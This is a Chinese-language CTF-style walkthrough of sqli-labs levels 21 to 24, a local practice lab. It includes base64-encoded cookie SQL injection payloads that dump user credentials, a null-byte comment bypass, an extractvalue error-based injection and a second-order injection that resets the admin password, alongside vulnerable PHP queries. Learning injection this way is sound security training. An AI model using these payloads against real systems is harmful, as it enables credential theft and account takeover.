less-21 根据题目提示先登正确账户密码吗,然后bp抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 GET /sqli-labs/Less-21/index.php HTTP/1.1 Host : localhostCache-Control : max-age=0sec-ch-ua : "Not(A:Brand";v="24", "Chromium";v="122"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : http://localhost/sqli-labs/Less-21/index.phpAccept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Cookie : uname=YWRtaW4%3DConnection : close
看到cookie中uname明显不是用来登录的admin,是admin经过base64加密后的字符
1 Cookie : uname=YWRtaW4%3D
用赛博厨子解出来尽然是
1 2 3 YWRtaW4%3D decode base64= admin7
怀疑是后面%3D是url字符, 将构建好的闭合点加密成base64后再上传
1 2 3 YWRtaW4n 回显 Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') LIMIT 0,1' at line 1
最后测出闭合语句
1 2 3 uname=YWRtaW4nKSM= base解码就是 uname=admin')#
最后payload
1 Cookie : uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoaWQsdXNlcm5hbWUsJyEnLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==
less-22 和上题解法一样,就是换了闭合点
最终payload
1 Cookie : uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChpZCx1c2VybmFtZSwnIScscGFzc3dvcmQpIGZyb20gdXNlcnMj
less-23 看题目, strip comment,看翻译是删除注释,不懂啥意思 看一眼网页源码,
1 2 3 4 5 6 7 $ reg = "/#/" ; $ reg1 = "/--/" ; $ replace = "" ; $ id = preg_replace($reg , $replace , $id );$ id = preg_replace($reg1 , $replace , $id );$ sql="SELECT * FROM users WHERE id='$id ' LIMIT 0,1" ;
闭合点是’ 但好像把#,–,这种注释给替换成空字符了, 有没有不用注释的方法呢, 注释的作用是把后面的语句无效化。 那试试绕过?双写绕过试试? 不行,实在试不出来,去看博客吧
采用闭合的方式: 1 ?id=' or extractvalue(1,concat(0x7e,database())) or'
好像是拼入源码会变成
1 $sql ="SELECT * FROM users WHERE id='' or extractvalue(1,concat(0x7e,database())) or'' LIMIT 0,1" ;
对比
1 2 3 4 $sql ="SELECT * FROM users WHERE id=''union select #' LIMIT 0,1" ;$sql ="SELECT * FROM users WHERE id=''union select' LIMIT 0,1" ;
采用;%00替换注释 采用;%00替换注释:
%00 是 URL 编码的空字符(\x00)
组合 ;%00 的完整逻辑 攻击者通过 ;%00 实现以下目标:
结束当前语句:分号 ; 终止 UNION SELECT 查询。
截断后续内容:空字符 %00 让后端忽略原查询中可能存在的其他条件(如 LIMIT 1 或 AND 子句)。
绕过闭合引号:如果原查询的闭合引号在空字符后被截断,可能避免语法错误。
最后payload:
1 ?id=' union select 1,2,group_concat(username,' :',password) from users;%00
less 24 二次注入
二次注入 二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。
看别的大佬博客 在注册新用户中注册已有的用户名会提示不行,但是username没有被过滤,可从username下手。
我们先注册一个账号名叫admin’#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
之后也用户名admin’#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
我的总结理解是在注册新用户时把有污染的数据写入数据库,当再修改admin’#时会直接把admin’#拼入修改的查询语句,而注释掉了原来验证原账号密码的部分
原语句:
1 $sql = "UPDATE users SET PASSWORD='$pass ' where username='$username ' and password='$curr_pass ' "
当登录admin’#并点修改密码时会出现
1 $sql = "UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass ' "
这样就会变成修改admin的密码而不是admin’#的,并且会将后面验证admin密码的部分注释掉。